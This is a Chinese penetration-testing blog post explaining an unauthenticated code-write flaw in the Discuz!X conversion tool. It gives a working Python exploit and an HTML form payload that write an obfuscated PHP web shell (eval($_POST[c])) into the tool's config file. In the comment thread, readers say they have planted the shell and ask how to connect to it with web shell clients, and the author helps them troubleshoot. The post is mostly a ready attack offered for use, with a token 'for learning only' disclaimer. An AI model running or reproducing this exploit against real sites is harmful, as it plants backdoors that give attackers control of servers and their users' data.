首页 > 渗透测试 > Discuz!x系列转换工具任意代码写入漏洞
2013
12-19

Discuz!x系列转换工具任意代码写入漏洞

Discuz!x系列转换工具存在任意代码写入漏洞,wooyun上猪猪侠和另外一大神刷rank也刷的差不多了,今天知道有童鞋已经公布了!

so,放出之前学习python写的漏洞利用exp, 只是练手学python,所以代码和功能都很粗糙。不知道漏洞作者是谁,看到此文的请留言认领!

这个漏洞主要是由该转换工具convert/index.php在接收表单的时候貌似没有做任何权限验证,不管提交啥都可以写入到convert/data/config.inc.php文件中,所以可以构造表单,来写入一句话。 exp主要功能实际只是post提交数据,贴上代码:

#coding=utf-8
#Nx4dm1n 2013-12
import httplib, urllib
def dzconvertexp(url,vulfile):
    allvulfile=vulfile+'convert/index.php'
    target='http://'+url+vulfile
    page=urllib.urlopen(target)
    html=page.read()
    httpresponse=page.getcode()
    if httpresponse==200:
        httpClient = None
        try:
            params ='a=config&source=d7.2_x2.0&submit=yes&newconfig%5Bsource%5D%5Bdbhost%5D=localhost&newconfig%5Baaa%0D%0A%0D%0Aeval%28CHR%28101%29.CHR%28118%29.CHR%2897%29.CHR%28108%29.CHR%2840%29.CHR%2834%29.CHR%2836%29.CHR%2895%29.CHR%2880%29.CHR%2879%29.CHR%2883%29.CHR%2884%29.CHR%2891%29.CHR%2899%29.CHR%2893%29.CHR%2859%29.CHR%2834%29.CHR%2841%29.CHR%2859%29%29%3B%2F%2F%5D=localhost'
            print params
            headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/html"}

            httpClient = httplib.HTTPConnection(url, 80, timeout=10)
            httpClient.request("POST",allvulfile, params, headers)
            response = httpClient.getresponse()
            print response.getheaders()
        except Exception, e:
            print e
        finally:
            if httpClient:
                httpClient.close()
    else:
        print 'no'

#输入目标url和convert的目录,常见的是/utility/目录,或者就直接是在根目录下
url=raw_input('Input url(No http):')
dirm=raw_input('Input the convert directory(ex:/utility/):')
dzconvertexp(url,dirm)

Post data中有一段经过url编码处理的代码,是一句话,密码是c. 如果是直接修改表单的话就不需要url编码了,只需要用php chr()函数处理过的一句话就可以了。也贴上用input表单代码:

<input type="text" name="newconfig[aaa eval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]" size="40" value="localhost" />

如图所示,修改提交的表单项

Discuz!x系列转换工具任意代码写入漏洞 - 第1张  | 阿德马Web安全

下面这一段是eval($_POST[c])经过chr函数处理后的,括号中对应的是每个字符的ascii码

CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59)

提交成功之后一句话成功写入到convert/data/config.inc.php文件。

文章中提供的程序仅供学习交流使用…………^_^  感谢大尖刀童鞋对漏洞的分享,作者可能就是大尖刀的? or 猪猪侠! 一起感谢了!

最后编辑:
作者:admin
这个作者貌似有点懒,什么都没有留下。

Discuz!x系列转换工具任意代码写入漏洞》有 5 条评论

  1. 0ner 说:

    不知道你们怎么连的 我是插马成功了 但是 菜刀 零魂 lanker 都连不上

  2. admin 说:

    看菜刀返回的提示吧!是什么状态……

  3. boss 说:

    我的也是一样

  4. boss 说:

    请管理员给点指点怎么搞

  5. admin 说:

    你插入提交之后 访问一句话看看状态 如果是200自然可以连成功

    不是200那肯定连不成功! 再确定插入的东东是不是OK

留下一个回复

你的email不会被公开。